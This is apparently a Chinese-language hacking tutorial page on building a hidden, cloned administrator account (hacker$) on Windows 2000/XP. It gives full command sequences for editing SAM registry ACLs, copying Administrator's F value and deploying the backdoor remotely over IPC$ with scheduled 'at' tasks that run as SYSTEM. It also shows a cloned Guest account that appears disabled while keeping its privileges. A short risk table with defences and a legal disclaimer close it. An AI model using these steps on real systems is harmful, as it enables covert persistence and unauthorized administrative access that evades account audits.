Win2K/XP 帳號資訊儲存於登錄 HKLM\SAM\SAM\Domains\Account\Users,受 ACL 保護,唯有 SYSTEM 權限可讀寫。各帳號以 RID (Relative ID) 為鍵 (如 0x1F4=500 Administrator),關鍵值 F (二進位) 控制帳號屬性 (權限、啟用/停用、隱藏等)。將目標帳號的 F 值覆寫為 Administrator 的 F 值,即可獲得同等權限與隱藏屬性。
net user hacker$ 1234 /add (尾碼 `$` 讓 `net user` 不顯示,但帳號管理員仍可見)。regedt32.exe (Win2K) 或 regedit.exe (XP) → 定位 HKLM\SAM\SAM → 右鍵「權限」→ 新增目前登入帳號 (Administrator) → 「完全控制」。regedit.exe 開啟 HKLM\SAM\SAM\Domains\Account\Users\Names\hacker$,記下對應 RID (如 00000409)。hacker$ (Names)、00000409 (RID)、000001F4 (Administrator RID)。000001F4 下的 F 二進位值複製覆蓋 00000409 的 F 值,合併 hacker$ 與 00000409 為單一 `.reg`。net user hacker$ /del。regedt32 移除步驟 2 新增的權限 (刪除 Administrator 完全控制 ACE)。結果:`net user`、`lusrmgr.msc` 均不顯示 `hacker$`,但可用該帳號登入並擁有完整管理權限。警告:建立後不可再改密碼,否則隱藏屬性失效且無法刪除。
前提:目標開啟 `Schedule` 服務,攻擊者擁有有效管理員憑證 (或已建立 IPC$ 連線)。
net use \\TargetIP\IPC$ "Pass" /user:"Admin"。sc \\TargetIP start Schedule 或 `netsvc.exe`。at \\TargetIP 12:30 cmd /c "net user hacker$ 1234 /add"。at \\TargetIP 12:35 cmd /c "regedit /e \\TargetIP\Admin$\System32\hacker.reg HKLM\SAM\SAM\Domains\Account\Users\"。copy \\TargetIP\Admin$\System32\hacker.reg C:\hacker.reg。copy C:\hacker.reg \\TargetIP\Admin$\System32\hacker1.reg。at \\TargetIP 12:40 cmd /c "net user hacker$ /del"。at \\TargetIP 12:45 cmd /c "regedit /s \\TargetIP\Admin$\System32\hacker1.reg"。優勢:無需上傳工具 (psu.exe 等),純內建指令完成;`at` 產生的任務以 SYSTEM 身分執行,繞過 SAM ACL 限制。
前提:已建立 IPC$ 連線,目標啟用「遠端登錄」服務 (Remote Registry)。
缺點:遠端註冊表/管理員介面極慢,適合低頻操作。
F 值。net user Guest /active:no (或遠端 `at` 排程)。表面顯示停用 (紅叉),實際 F 值中權限位未變,仍具超級權限。原理:停用標記與權限位在 F 值不同位元,克隆覆蓋權限位,手動停用僅翻轉停用位,權限位保留。
| 風險 | 說明 | 防禦措施 |
|---|---|---|
| 隱藏帳號無法刪除 | 改密碼後隱藏屬性失效,帳號變可見且無法刪除 | 嚴禁為隱藏帳號改密碼;定期審核 SAM 區域異常 RID |
| SAM 區域損毀導致系統無法登入 | 編輯錯誤可能導致所有帳號消失 (僅存在於登錄) | 操作前必備份「系統狀態」 (含 SAM/登錄);建立緊急修復磁碟 |
| 遠端建立需管理員憑證 | 前提已是高權限入侵,屬橫向移動/持久化手段 | 強化管理員密碼、限制遠端登錄/排程/ IPC$ 存取、啟用帳號鎖定原則 |
| 克隆帳號可被工具掃描 | 專業滲透工具 (如 `enum.exe`、`samdump2`) 可讀取 SAM 發現異常 RID | 部署 HIDS 監控 SAM 登錄寫入事件 (Event ID 4657/4660) |
法律警示:未經授權建立隱藏管理員帳號屬非法入侵/超越授權存取,嚴重者觸犯刑法。本文僅供防禦研究與授權測試參考。
Windows 2000 Advanced Server 簡體中文版 ISO 下載連結(迅雷專用)
Windows 伺服器安全基線設定完整清單 (Win2K/XP/2003 通用)
Windows 2000 系統檔案檢查器(SFC)完整使用手冊
Windows 2000 進程清單完整解析:核心系統進程、附加服務進程與高風險可停用服務對照表
Windows 2000 藍畫面錯誤代碼完整查詢手冊 (0x0000~0x06B9)
NTFS 分割區下破解 Windows 2000 密碼:NTFSDOS Professional 啟動盤清除 SAM 檔案